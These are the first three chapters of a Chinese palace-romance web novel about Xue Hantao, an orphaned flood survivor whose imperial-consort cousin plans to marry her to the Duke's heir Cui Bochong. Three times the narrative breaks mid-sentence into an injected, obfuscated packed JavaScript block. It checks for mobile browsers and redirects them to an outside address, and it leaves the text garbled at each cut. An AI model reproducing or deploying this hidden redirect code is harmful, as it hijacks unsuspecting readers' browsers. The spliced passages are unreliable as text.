《不要欺负老实的她》 1. 第一章 八月的日光,依旧炽热。 宫墙之下,一队宫人不慌不忙地行走,渺小的像是蒸腾的蚂蚁。 宫墙之上,金色的琉璃瓦熠熠生辉,光芒折射在薛含桃的眼皮上,她不由默默垂了眼睫,不敢再看。 虽然她的身份已经今非昔比,任是前方品级最高的姑姑也要对她客客气气,但谁能想到半个月前她还只是一个逃难的农女,可怜地连自己的肚子都填不饱呢。 要不说人生的境遇最是奇妙,一想到半个月前的那个下午,薛含桃就觉得自己还在梦里,脑袋晕乎乎的。 洪水过后家破人亡,她到京城投靠唯一的亲人堂姐,而她嫁到京城几年渺无音讯的堂姐薛青娥竟然成为皇妃了! 天子的妃嫔,腹中还怀着龙胎,是多么尊贵的人物啊,薛含桃呆呆的睁着眼睛,来不及唤一声阿姐,就被身边的宫人提醒要跪下去行叩拜之礼。 “薛小娘子,尔面前之人乃是陛下亲封的淑妃娘娘。” “……哦,哦,淑妃娘娘,我……”没有见过世面的薛含桃结结巴巴,不知说些什么。 宫人便又提醒她,“薛小娘子应该自称民女,然后叩头。” “民女……见过淑妃娘娘。” 薛含桃怀着忐忑向她的堂姐磕了一个头,闷闷地一声响后,她得到允许站起来,然后堂姐才与她相认,握着她瘦骨嶙峋的手爪子哭了一场。 原来堂姐先前远嫁的那户人家对她不好,夫君赌钱输了后竟然把她赁了出去……机缘巧合之下堂姐入了当今天子的眼,又过了两年怀上了龙胎,于是母凭子贵得了淑妃的封号,入住这柔仪殿。 至于堂姐一直不与家中联系的原因,她不说薛含桃心里也明白。堂姐的亲生父母,薛含桃的大伯父大伯母,偏爱两位堂兄,不仅对堂姐非打即骂,还为了能让堂兄娶妻把堂姐高价“嫁”了出去,明明堂姐已和隔壁村的姜二郎情投意合。 那时薛含桃八岁,堂姐愤恨中带着泪珠的眼神她牢牢记在了心里,所以她不问,只老实交代大伯父一家包括两位堂兄都丧命在洪水中,尸骨无存。 薛含桃的父母亲仅有她一个女儿,身体不好,在她十岁那年双双去世,因此薛家三代,堂姐便只剩下她一个亲人。 这也是薛含桃身份变化的原因。 而今日宫人们又对她恭敬几分,皆因前天晚上她的堂姐薛淑妃平安生产,诞下了一位小皇子!当今天子年过四十,膝下仅有三位公主,小皇子是他唯一的儿子! 不出意外的话,薛含桃将来就是天子的姨母!天子姨母啊,戏文中的皇亲国戚…… “薛小娘子,柔仪殿到了,您小心些脚下。” 一声温和的提醒打断了薛含桃的胡思乱想,她紧了紧手心的汗,抬起头朝身着青色衫裙的女子乖巧一笑,“胡姑姑。” 胡茵儿是柔仪殿的掌事宫女,亦是薛妃的心腹,她在殿外等着薛含桃,见到人时不免多打量了一眼。 和半个月前相比,少女长了些肉,两腮多了血色,虽然还是一副瘦小枯黄模样,但笑起来时眼睛黑亮,算是能看了。 当然,也只是将将能看,连都城中一般人家的小娘子都比不上,更别提那等精心教养的高门贵女…… 思及待会儿娘娘要说的话,胡茵儿眼眸微暗。 “二娘子,娘娘在内殿见您,您请跟奴婢来。” 薛含桃看不懂掌事姑姑眼底的复杂,她小心翼翼地提着鹅黄色的襦裙跨过门槛,唯恐手心的汗水沾上去。 堂姐命人给她做了几件鲜艳的衣裙,薛含桃十分珍惜,今日是第一次穿。 胡茵儿察觉到她小家子气的举动,心中又是一叹,也不知是在为谁可惜。 很快,内殿就到了。 薛含桃先嗅到了一股淡淡的奶腥气,然后便是清雅的荷花香,她抬头望去,殿中摆放着几枝粉荷,而堂姐薛青娥倚在榻上,嘴角正噙着一抹温柔的笑意看着她。 “阿姐……”薛含桃愣住了,今日见到的堂姐和半个月前又有不同,半个月前是着高髻珠钗成熟明丽的薛妃娘娘,今日更像薛含桃记忆中会给她梳头发的姐姐,婉约可亲。 所以,她先唤了阿姐,才又称淑妃娘娘。 “非也,二娘子不知,昨日,陛下颁下圣旨晋升娘娘为贵妃。”胡茵儿笑道。 薛含桃又是一愣,眼睛睁得大大的,愈发显得她的脸又瘦又小。她想,淑妃就已经十分尊贵了,贵妃,比淑妃还要厉害呀。 “过来,见见你外甥。”薛贵妃被堂妹傻傻的样子逗乐了,招招手让薛含桃看新出生的小皇子。 她如今只有薛含桃这一个血脉相连的亲人,自然想小皇子和薛含桃亲近。 然而因着小皇子的珍贵,看顾小皇子的几位嬷嬷奶娘都是当今天子德昌帝亲自挑选,即便薛贵妃亲自发话,薛含桃走上前也只配匆匆一瞥小皇子的红色襁褓。 见此,薛贵妃脸上的笑意微淡,但也没说什么。 “小皇子长的真好,龙生宝珠,呱呱玉鸣,应该就是城里文举人说的贵相了。”薛含桃倒没觉察到异样,她脸颊泛红,真心实意的为新出生的小外甥欣喜。 “文举人呐,这么些年城里还是只有他一位举人吗?”薛贵妃被牵动到了回忆,语气恍惚。 “是啊,只有他一位,两年前他去世的时候县令大人还亲作了一首诗,可惜那首诗我记得不全。”薛含桃的口吻很是尊敬,在她前半生的十六年中,举人和县令都是了不得的大人物。 区区一个举人?算什么大人物,都城中随便一块砖瓦都能砸死,殿中的宫人们听着嗤之以鼻,对薛含桃这位将来天子姨母出身的贫贱有了更加清晰的认知。 胡茵儿可惜之余深为怜悯,出身低微,模样普通,见识又甚是浅薄,如何能与那惊才绝艳的崔世子相配? 然而,配与不配不是她可以决定的。胡茵儿接收到薛贵妃的示意,使了个手势命宫人们都退下。 小皇子也被嬷嬷们抱走,刹时安静的空间内只剩下两人。 薛含桃深吸了一口气,有些紧张,明白自己的阿姐要单独和自己说几句话,眼睫毛使劲眨了两下。 她心里是愧疚的,不好意思的。自相认后,堂姐给了她银子新衣,还派了一个宫女果儿去照顾她。而她呢,刺绣不行,不会给小皇子缝肚兜;身单体薄,更不能像别的娘家人一样提供依靠。 唯一能拿得出手的也只有厨艺,相认两日她做了堂姐以前爱吃的米糕和鱼团儿兴冲冲地让果儿送进宫,可很快胡姑姑又着人告诫她下次别送吃食了,宫里人多手杂万一有人在里头下毒……薛含桃心情低落了几日,愈发羞惭。 她的反应被薛贵妃收至眼底。 薛贵妃让她坐下,不急不缓地抚了抚额头,开口说道,“你上次送进宫的米糕我尝了一块,味道吃着和以前一模一样。” 薛含桃听到堂姐吃了她做的米糕,有些欢喜,坐在凳子上两只脚并一起。 “如今薛家只有我们两姐妹了,小桃,你得帮阿姐。” “只要我能做的,阿姐尽管说!”父母亲人都没了,又经历过逃难等诸多波折才到京城,薛含桃能有现在平稳的日子,打心底里感激自己的堂姐。 薛贵妃嗯了一声,颇为欣慰,说起她让人进宫的目的,当然不仅仅是看一眼小皇子。 “皇儿平安生下,陛下封我为贵妃,我已是满足。” 薛含桃点点头,两桩喜事加在一起,她也替堂姐开心。 薛贵妃的目光落在她的身上,话锋陡然转变,“可是皇儿年幼,一时的平安不代表一世的平安,宫里宫外虎视眈眈,即便有陛下相护也实难安定,除非再加一层保护。” 她接着点头,寻常人家还担心孩子长不大呢,皇家小心些很正常,她也觉得要好好保护小皇子不被伤害。 “这一层保护,就是姻亲。姻亲,指的便是你。陛下已经决定,要将你嫁给定国公世子,崔皇后的亲侄子崔伯翀。妹妹,定国公府崔家实力深厚,你嫁过去后一定要帮你的阿姐和小外甥笼络住崔世子。” 嫁给定国公世子,定国公世子不就是…… 薛含桃的脑袋像是被重重一击,半天都没回神。 “我已经派人查过,你这次进京便是和崔世子同行,他的相貌才华不必细说你也知晓。这一桩婚事,对我对皇儿还有你,都是绝佳。”薛贵妃满意的不得了,心知肚明陛下在为他们的皇儿铺路,小皇子没有外家可依靠,那就寻一个显赫的姻亲相助。 崔世子将来会继承崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234169|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家和定国公的爵位,崔皇后膝下又没有亲子,薛含桃作为小皇子的姨母嫁给崔世子,她和小皇子,宫里宫外都获益匪浅! 薛贵妃越说越兴奋,仿佛预见了尊崇至极的未来,压根没注意到面前少女逐渐变得苍白的脸色。 “……可是,阿姐,那是崔世子啊,怎么能配我……” 薛含桃咬紧了嘴唇,局促不安地站起身,一根荒野的狗尾巴草如何配和高贵华美的魏紫长在一起。 他是天上的云,洁白无瑕;她是山里的泥,灰扑扑的,普通极了。 洪水来时,她和阿凶漂了两天,是他救了他们,虽然他大概不记得她是谁,但薛含桃不能恩将仇报。她知道,如果崔世子真的娶了她,一定会被世人嘲笑。 县城县令的女儿刘金眉是她认识的身份最贵重的小娘子,可是在她们去往京城的途中,她亲耳听到刘县令绞尽脑汁地筹谋要将女儿送到崔世子的身边做一侍妾。 仅仅是一个妾室。 而她呢,无父无母,出身农家,容貌学识还不及县令女儿呢,却要做崔世子的妻。崔世子若是知晓,心里的感受一定和去年她得知大伯父有意把她嫁给村东孙家口流涎水的傻子一般吧。 “配与不配,不是你说了算,陛下说相配,你和崔世子便是天作之合,谁又敢说闲话。”薛贵妃没料到她会拒绝,皱紧了一双眉。 薛含桃恹恹垂下头,默然不语,本就瘦弱的身躯又添两分伶仃。 薛贵妃见状,心头不由软了一瞬,她也知道,这桩婚事若定下,她和陛下这头是满意了,可崔世子和崔皇后心里生出怨气,不敢朝陛下,一定会朝着她的堂妹。 毕竟,一个父母双亡的农家女嫁给国公府世子是天方夜谭,尤其崔世子还曾立下过不世之功,天下闻名。 “陛下有此意,阿姐也无法。好在如今圣旨还未下,你先回去好好想一想,过个两三日就能想通。”薛贵妃终究不觉得这是个问题,哪个女儿家没有幻想过自己将来的夫君相貌堂堂,才华横溢呢? 崔世子那般人物世间罕有,任何一个女子知晓能嫁给他岂会不动心。 薛贵妃暗暗道,堂妹身份确实低了些,不如求一求陛下封个乡君县君抬一抬,看在皇儿的面子上陛下不会拒绝的。 …… 明白关键不在堂姐身上,薛含桃耷拉着脑袋退出了柔仪殿,热腾腾的阳光下,她浑身发冷。 宫人送她回到暂住的院子,早就等着的果儿就迎了上来。 “娘子,您可见到娘娘了?您走了这么一会儿,阿凶急坏了,一直叫,旁边人家来敲门,我只好把它关在了房间里。” 阿凶是一条十岁的老狗,一断了奶就被人扔了出去,村里的孩子捡了它用土疙瘩砸着玩,年幼的小含桃撞见,使积攒的三个铜板“买”了回去,起了个阿凶的名字,自此一人一狗形影不离。 洪水泛滥那一段时间,吃食短缺,阿凶为了给她找鸟蛋,摔了腿,现在还没好全。 此时可能是嗅到她的气味了,狗叫声又激烈起来。 薛含桃一听就急了,飞快地跑过去打开房门,一只毛色斑驳不均的黑狗立刻冲了出来,用完好无缺的前腿抵住她的鞋子。 “呜!”阿凶严肃地叫了一声,见她无事,摇起了尾巴。 “我就说娘子好端端的。”果儿见此,讪讪一笑,有些紧张地看了薛含桃一眼,担心被她责怪。 “果儿姐姐,我饿了,你拿着一百钱到街上买些吃的吧。”薛含桃没有心情去做吃食,果儿脆生生地应了一声,数好一百个铜板出门去了。 不大的房间中,只剩下一人一狗。 “阿凶,我现在该怎么办啊?崔世子对你我有救命之恩,我不能害他被人耻笑。” 少女面容愁苦,手指一遍遍地梳理狗毛,诉说着。 “嗷呜!”大黑狗咬住了她的衣摆,往门外的方向拉了拉。 “去见他让他知晓吗?是啊,他一定有办法的,阿姐说圣旨没有下,还有时间。” 薛含桃回忆起初见他时,自己和阿凶蜷缩在一只木盆中,四周都是水,她虚弱地快要死掉了,以为见到了天上下凡的神明。 然后,冷漠又慈悲的神明遥遥朝她瞥了一眼,她获得了新生。 2. 第二章 中午,果儿从街上买了包子炊饼还有两道小菜回来,薛含桃已经脱下了崭新的鹅黄色襦裙,换上了一件洗的发白的旧衣。 头上寥寥两根花钗也被她卸下,发间只系了一根细细的红绳。 对此,果儿打心底里不理解,虽然知道自己的劝解没有用,可还是忍不住又说道。 “娘子,您何苦如此呢?有宫里的淑妃娘娘在,您难道还能少了新衣首饰不成?箱子里那几匹上好的绢布还没有动呢。” 果儿是从柔仪殿出来的,薛妃受宠,她见惯了宫里的好东西,对薛含桃朴实的秉性迷惑已久。要知道,就连她这个被淑妃赏赐过来的小宫女穿戴都比薛含桃体面。 “果儿姐姐,我身上这件也是在铺子里买的新衣啊,”薛含桃不好意思地抿唇笑笑,帮着果儿把吃食一一摆好,又道,“阿姐昨日被陛下封为贵妃娘娘了。” 如她所料,果儿的注意力立刻被转移,惊喜地双手合十感谢老天爷。 “恁大的喜事,老天爷保佑!” “嗯!阿姐受天眷顾,是贵人。” 薛含桃也欢喜,虽然她的笑容中隐隐含着一丝忧虑。 果儿并未看出不对,高高兴兴地拿来碗筷,“娘子快尝尝,满香楼卖的烧鸡,好在我去的早,才买到一只。” “嗯,好香。”美食当前,薛含桃专心致志,顾不得想别的,和果儿一同坐下。 她先拿起筷子熟练地挑出半只的鸡肉和包子炊饼拌在一起,放进一只硕大的陶碗里面,这便是阿凶的饭了。 大黑狗因为腿伤未愈,卧在草编的席子上。少女探身将陶碗放下,才又坐回去吃自己的饭。 阿凶深棕色的眼睛一眨不眨地盯着她的举动,在她挟着一块酱红色的鸡肉咬下时,狗尾巴左右摇动,它转头埋首进陶碗大口吃起来。 果儿也在吃鸡肉,看到对面少女吃完一块鸡肉两眼弯弯的满足模样,不由因为自己一开始的想法而羞愧。 娘子虽然过于朴实以至于让人恨铁不成钢,但她不得不承认留在娘子身边是她果儿的福分。 娘子如今是贵妃娘娘的妹子,却乖巧地唤她一个宫女姐姐,与她同桌而食,从不随便使唤她,就连这小院唯二的两间大房都分了一间给她…… 经历过许多挨饿的日子,薛含桃吃什么都很香,最后果儿不愿意吃的几片青菜叶子她都吃的干干净净。 当然,阿凶的陶碗也是亮光光的。 果儿每每瞧见这一幕总觉得心酸,对薛含桃的态度便格外软和,收拾了碗筷让她休息。 然而,小姑娘也只是歇了一会儿就作罢。 散发着药味的罐子被找出来,薛含桃往里放了几味药材,加了水,点火熬起来。 一嗅到这股气味,大黑狗的尾巴就不摇了,合着眼睛装睡。 “阿凶,再喝这最后一次,你的腿就没事了。”薛含桃知道大黑狗嫌苦,一边讨好地哄它,一边又拿石杵捣碎一小块鸡骨头。 果儿将碗筷归置好,回头就看到她仔细地将骨粉撒在破了一个角的陶罐中,接着浇了些水。 “娘子,这陶罐里头究竟是什么啊?您照顾的如此精细。”果儿很好奇,忍不住问出口。 “是种子,很有用的种子。”少女顿了顿,脸上扬起一个笑容。 果儿心神微晃,其实她家娘子模样干瘦不起眼,笑起来挺好看的…… “娘子,过会儿我帮您去书阁一趟吧,您该多歇息,养胖一些。” 说起这件事,果儿更加心疼,哪有皇亲国戚像她家娘子一样靠抄书描花样辛辛苦苦地养活自己。 是了,那场大水过后,薛含桃一无所有连填饱肚子都是件难事,又是如何到京城,如何活到与贵妃堂姐相认呢?她在京城四处打听堂姐嫁的那户人家,足足花了七八日。这些日子里,她租了一间小房,喂着一只瘸腿的老狗,吃的用的从何而来。 果儿还在柔仪殿的时候听到薛妃娘娘问起这个问题,娘子是怎么回答的呢? “阿姐,进京的途中我遇到了好心人,借用马车给我和阿凶。路上酷暑有蚊虫,我找到几丛薄荷和金银花,用背着的陶罐熬了清凉解热的茶水给他,好心人不仅给了我炊饼吃,还要付给我银钱。” 少女的语气里是浓浓的感激夹杂着心虚,“我其实不该收的,可是没有银钱我和阿凶都会饿死。到了京城后多亏有那些钱,我才赁得了一间房。以前在家里的时候,我经常抄书,所以又拿钱买了笔墨,后来找到书阁,开始有了营生。” “叔父生前是秀才,教导你我识字,对,你的字写的一直不错。”薛妃娘娘听到回答感慨不已。 果儿和其他人便恍然大悟,怪不得薛妃娘娘出身不好却会读书认字,尤其一手娟秀的小楷常得陛下夸奖。 不过之后薛妃娘娘给了娘子许多赏赐,娘子重新赁了一处带着几间房子的小院居住,却没有放弃抄书赚钱的活计。 每隔两日,娘子便会将抄好的书籍送到书阁结算银钱,多多少少的,能有四五百钱,若是描花样再送到书阁附近的绣楼还有二三百钱拿。 其实算起来,娘子一个弱不禁风的小姑娘赚的不少了。 今日便是和书阁约好的日子。 “不,果儿姐姐,等我抄完最后两页,我们一起吧,再去趟药铺,我还要买些东西。” “去药铺?哦,还给阿凶买药。” 果儿了然,薛含桃呼吸微停,没有解释她的脑海里正酝酿着一个隐秘的打算。 明日一早,她要去定国公府。 然而直接求见定国公世子,她可能连大门都进不去,所以就只能想别的法子。 之前她没有告诉堂姐,进京途中对她诸多帮助的好心人,正是定国公世子……身边的一名亲随,名唤方振的青年。 此时的薛含桃只能祈祷,自己认真熬煮的薄荷金银花茶水还能给人留下些印象。否则,她就真的只能听从圣意,恩将仇报了。 *** 书阁的位置在文兴坊,距离薛含桃现在住的小院不算远,她穿着颜色暗淡的浅碧色裙子和果儿一同进去,还没开口掌柜就迎了过来。 “薛小娘子,《诗经》你抄好了?” “嗯,一共两本,掌柜请看。” 果儿现在她身后半步,薛含桃将两本《诗经》递给掌柜。 老掌柜将书翻开来,眯眼端详了半晌,顿时喜上眉头,痛快地掏出整二两的银子给了面前不显山不露水的小姑娘。 果儿看见都呆了,往日都是四五百钱,掌柜今日为何如此大方,她还没来得及开口问,自家小娘子把她拉走了。 “果儿姐姐,我们赶紧去药铺吧,不然阿凶该在家中着急了。”薛含桃步子迈地很快,脸颊浮上了几缕红色。 果儿只以为她担心大黑狗,立刻忘记了那点疑虑,跟上前。 而就在她们走后不久,书阁就迎来了几位风雅的文士。为首者穿着罗衣佩着美玉脚下还踩着云头履,一看就家世不凡,其他人对他也多有奉承之态。 恰巧此人掌柜识得,当即放下手里的《诗经》,笑容满面地招呼,“原是邱郎君,您大驾光临,小店真是蓬荜生辉。” 邱泰,吏部侍郎之子,今在国子监读书。他身边的几人皆是国子监的同窗,听到掌柜询问,笑道,“到书阁来还能为了什么,当然是淘些书来看了。” “对,有好书都拿出来,也让我身边这位从乡野之地来的宋兄开开眼界。宋兄倒霉,家遇洪水,好不容易有几本藏书也都没了。”邱泰双眉一挑,指了指位置最后的一名青年。 掌柜闻声看去,邱泰指着的人身量中等瘦削,虽穿一件布衣,但模样生的很是俊俏,他思量过后便将刚收到的《诗经》奉了出来。 “一本《诗经》?掌柜,你这就不实诚了。”邱泰本意是要借淘书嘲讽一番他指着的青年宋熹,却不料掌柜只拿出一本烂大街的《诗经》,顿时不悦。 “邱郎君再看呢?《诗经》常见,然这等笔力行迹,您是否想起了一人?” “你这究竟卖的什么关子?”邱泰皱着眉看了几遍,没看出个所以然。 他话音刚落,一直未曾开口的青年宋熹惊讶地出声,“这字……竟有崔世子七分神采!之前,我曾有幸见过……” 定国公府世子崔伯翀,除了众所周知击退蛮金保卫汴州的功迹,书法造诣亦是闻名于世,据说连陛下都在宫中珍藏了几幅他的行书。 “崔世子!这本《诗经》我要了,银子任你开。” “小老儿本打算卖一百两银子,不过邱郎君,八十两也就够了。” …… “宋熹,你识得崔世子?”出了书阁,邱泰的目光当即看向了青年,充满怀疑。 “不算识得,只是樊州大水,崔世子前去赈灾,返京途中某与丰县刘县令侥幸坠在崔世子的车马后面,有过几面之缘罢了。”宋熹不卑不亢地应声,巧妙地隐去了也有若干幸存的丰县百姓跟随的事实。 “丰县的县令?前些时日他到我家拜访,我爹并未相见,如此的话……这本《诗经》送你了。” “多谢邱兄赠书,恰好某稍后正要去刘县令那里拜访。”宋熹登时明白了邱泰的意思,“说来我等还未到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234170|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔世子那处致谢。” 宋熹需要一个契机到刘县令处卖好,刘县令苦于搭上吏部的上峰谋求官职,而邱泰则是想与大名鼎鼎的崔世子沾上些关联。 这本《诗经》到来的时机正好。 *** 翌日,薛含桃天蒙蒙亮就起身了,她洗了脸梳了头发穿好了衣服,一个人在房间里来回踱步。 一遍又一遍,手指头绞了又绞,好像山间失去了方向四处乱窜的野兔子。 大黑狗趴在她的不远处,尾巴轻轻拍打地面,想象自己腿好的时候捕猎野兔子的场面,一时神往。 “阿凶,你说我能不能见到他啊,万一定国公府的人不相信我把我叉走怎么办?又或者用刀鞘打我的腿!” 薛含桃紧张兮兮,她偷偷观察过几次,有些人就是这么被定国公府的护卫赶走的。 “呜!”这些话你都重复过好几遍了,听烦了。大黑狗不想理她的碎碎念,索性仰头叫了一声。 狼嚎一般。 “……阿凶,坏狗,别叫,我…我收拾东西。”薛含桃担心被果儿看出端倪,连忙捂住大黑狗的嘴。 大黑狗的脑袋重新趴下去,薛含桃听见果儿起身的动静,立刻装作睡眼惺忪的模样。 “娘子,您起了?早膳您想吃什么?”不久后,门外传来果儿的声音。 “买些面点回来吃吧,再捎两条鲜鱼,我做些鱼丸用。” “哎,知道了。” 匆忙吃完早膳,薛含桃就钻进了小小的厨房。 丰县临河,水产一向丰富,那里的人家家户户便都吃鱼,自父母都不在了后薛含桃为了让自己和阿凶填饱肚子,很是精炼了一番做鱼的手艺。 她做的鱼丸滋味十分鲜美,且没有丁点儿腥味,纵然再挑剔的人都能入口。 除了薄荷金银花茶汤,薛含桃准备再带一道鱼丸。 “娘子,您做这许多鱼丸,是要送人吗?还是要送进宫里?”果儿看她忙活一通,提着呼吸开口询问。 “……给一位帮过我的恩人,胡姑姑说过不让我往宫里送吃食了。” “那就好。”果儿放下了心。 辰时过半,茶汤熬好,鱼丸也做好了。薛含桃将两只干净的大陶罐放进背篓里面,步出了院门。 她谎称那位恩人的住处就在附近,又让果儿照顾阿凶,果儿不疑有他,就没有跟着。 从这里到定国公府四千六百步,薛含桃徒步要走大半个时辰,背着陶罐,速度要慢一些。 终于走到定国公府所在的那条街道时,她花了整整一个时辰。 国公府显赫,府门亦是大气,光是护卫就有多位。 薛含桃轻轻喘过气,装作不经意地扫过去一眼,心头接着一咯噔,怎么是那个脸黑的护卫守门。 脸黑的护卫脾气要比脸白的差,眼神也更尖利! “又是她?头儿,你说她怎么总来我们国公府门口晃悠?” 薛含桃以为自己掩饰的很好,然而事实上崔家的护卫们都快认识她这个人了,一次两次,她都偷偷观察过五六次了。 傻子才发现不了! “不知道,一个小丫头,饭都吃不饱,能成什么事?不必管她。”罗承武眉头一抬,全当人不存在。 “可是,头儿,她,她过来了。” …… 薛含桃鼓起勇气,慢吞吞地朝着国公府的大门走去,还未走近就先冲着护卫们笑笑。 一双黑莹莹的眼睛带着光。 “大人,府里的方振方大哥与我有恩,你能不能差个人告诉他,我带了解暑的茶汤和鱼丸来看他。对……对了,我姓薛。” “……方振?你说的是世子爷的奶兄方爷?”罗承武惊了惊,想不到这个看起来瘦弱的小丫头与方爷有瓜葛。 “嗯嗯!”薛含桃重重点头,一颗汗珠从她鼻尖滴落。 看她真诚又拘谨的样子并不像骗人,罗承武沉吟片刻,指了一个人去,又让她在门房处等待。 “大人,我在这里等就好了。”薛含桃还记得这人凶狠赶人的模样,心肝一颤,不敢进去。 罗承武看出了她的畏惧,没有吭声,只是瞟了一眼她的背篓示意她放下来。 薛含桃小声说了谢谢,将背篓放在了地上。 也就在这时,一辆马车轱辘轱辘驶来。 丰县刘县令带着他的儿女登门求见崔世子。 远远看见县令的女儿刘金眉,薛含桃的小脸霎时变白了。 然而,此时的她并无地方可以躲。 曾经,刘金眉是她的一段噩梦。 3. 第三章 六年前,父母全都因病去世后,十岁的薛含桃就没有家了。 大堂兄和堂嫂兴高采烈地搬到她父母的房子里面,而她则住进了堂姐出嫁前那间矮矮的小屋里面。 虽然成了寄人篱下的孤女,但那几年薛含桃的日子尚能过的下去。她性子乖巧做事也勤快,村里人都看着,大伯父大伯母对她不好太苛刻。 后来,薛含桃能够自己挣钱了,从每月十几个铜板到几十再到一二百个铜板,一半给自己和阿凶买吃的,一半交到大伯父的手中,她在大伯父家里的待遇肉眼可见地变好。 她很是心满意足。 然后,噩梦就来了。 被诬陷偷书丢了抄书的活计;被村里人纷纷用异样的目光看待;被大伯父逼着嫁给村东孙家的傻子……都只不过是高高在上的县令女儿一句话的功夫。 仅仅因为刘金眉看中了一个人,薛含桃父亲生前的学生,亦是她的未婚夫,宋熹。 宋熹年纪轻轻就通过了童试,模样又生的俊雅,刘金眉喜欢上了他不足为奇。 可薛含桃就倒霉了,人生顿时晦暗无光。 若不是突然发了大水改变了一切,现在的薛含桃可能还在泥泞中挣扎。 …… 此时,定国公府门前,薛含桃发觉他们往这边越走越近,深吸了一口气,飞快垂头看向自己脚边的背篓。 *** 比起薛含桃的瘦小,同样也是从洪水中逃生的刘县令一家格外丰腴,尤其刘县令的儿子,太阳一晒,脸上的油都要溢出来了。 八月的酷暑天,瞅见的人心里不禁腻歪。 罗承武的眼神霎时变冷,不等他开口其他护卫已经上前将人拦下。 “尔等何人?到我国公府门前所为何事?”护卫厉声喝问,态度一点都不客气。 老实瘦弱的小丫头不常见,但像刘县令这样的人他们见的多了,没有上千也有数百。 崔氏门第显赫,想要攀附的人能绕着京城围几圈,这些人中有绝大一部分连护卫这关都过不了。 听到责问,刘县令面皮一抖,脸上的笑容谄媚又讨好,连忙拱手朝着罗承武行礼,“贤兄,小弟丰县县令,之前赈灾时曾听从世子差遣,今日上门求见世子还请通报一声。” “哦,丰县,世子先前的确曾去樊州赈灾,有世子的请帖吗?” “并无。”刘县令尴尬一笑。 “没有请帖,速速离开。”罗承武没有犹豫,板着脸径直赶人。 世子日理万机,岂是一个县令想见就能见的?再者,世子若要请人入府必会提前下帖,这人没有帖子,显然是不请自来。 “慢着,贤兄,小弟真的有要事见世子。您看,世子的东西落下了。”刘县令一看身高体壮的护卫们就要赶他们,慌忙将自己的女儿推上前。 罗承武动作微顿,看着这老胖子的女儿拿出一本书,眯了眯眼睛。 “昨日小弟发现小女捧着一本书在读,细细看了竟……竟识得书中笔迹出自世子。”刘县令用手背抹了抹额头的汗,目光闪烁,“我追问小女,她说是她无意拾得,想来这书是世子遗失之物。” “世子的书?”罗承武的目光落在捧着书的少女脸上,尖利如刀。 “是。”扑面而来的压迫感令刘金眉身体一晃,她的视线偏移,恰好瞥见垂着脑袋与此处格格不入的薛含桃。 淡青色的细布裙,绑着红绳的双环髻,露出的下半张小脸,莫名给她一种熟悉的感觉。 刘金眉还在想这种熟悉感来自何处,手中的书已经被罗承武拿走。 刘县令见事情迎来了转机,不由一喜,然而这份喜悦来的太早了。 “书我会亲自呈给世子,你们先回去吧。世子事务繁忙,眼下没有空暇见你,不过你们可以留下一个住址,世子若要见你们会派人前往。”罗承武的态度客气了一些。 “好……好,多谢贤兄了。”刘县令讷讷应声,虽然失望还是没能进门,但能得这句话也不算白来。 正巧,就在刘县令一家三口要离去之时,派去传口信的护卫回来了。 “头儿,方爷说他的确结识一位姓薛的小娘子,只是他现在走不开,所以让我带她入府。” 竟是真的?罗承武点了一下头,上前亲手拎起薛含桃脚边的背篓,递给她,“薛娘子,跟着他去吧,方爷在府中等你。” 他语气温和,薛含桃接过背篓,不得不抬起头与他道谢。 当看到她的整张脸,刘县令的女儿刘金眉顿时像被踩到了尾巴的猫儿,高声尖叫,“是你!姓薛的野丫头,你没死!” 薛含桃被她认出,指尖微颤,却没有回头看她,而是安静地将沉重的背篓背在自己的身上。 孰料她的这个举动直接激怒了刘金眉,电光火石间,刘金眉就冲了过来,用手指厌恶地指着她。 语气讥讽刺耳,“一个卑贱的乡野农女,不知天高地厚,昔日寡廉鲜耻地偷东西罢了,今日竟然敢跑到国公府前坑蒙拐骗!” 卑贱,不知廉耻,偷东西……恶毒的指责再次飞进薛含桃的耳朵,她紧了紧手心,抬脚往护卫打开的角门走去。 刘金眉见此怒意更甚,薛含桃在她眼里是连泥巴都不如的野丫头,可是有朝一日她却能轻而易举地步入姓刘的费劲功夫都进不去的大门,对于心高气傲的人,这绝对是奇耻大辱。 “你们都不知道吧?她之前因为偷人东西被赶出去了。不能让她进去,她肯定还会偷!” “薛含桃,你站住!” 刘金眉直接叫出她的名字,护卫们面面相觑,罗承武的眉头也皱成一团。 “怎么回事?”他冷声向刘县令询问。 “这姑娘像是小女认识的一个人,不过我觉得应是认错了,认错了。”刘县令可不像女儿般莽撞,满脸赔笑道。 这是在国公府门口,女儿指着的小娘子明显在里头有相识的人,没听见吗?方爷。 “大喊大叫成何体统!孽女,还不快消停!”刘县令挺着肥胖的肚子怒斥女儿,刘金眉被狠狠警告才不情不愿地闭上嘴巴。 闻声,薛含桃却停下了脚步。 她站在高出了地面一截的台阶上,回首俯视这对父女,慢慢启唇,“县令大人,刘小姐没有认错,我的确是薛含桃,丰县人氏。刘小姐记得我,我更记得刘小姐呢。” “一直,一直都记得。” 比起刘金眉的刮耳之声,少女开口,音微软,气不足,又能让每个人都听清。 刘县令因为她的话愣了一下,明显意料不到她会如此回答。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 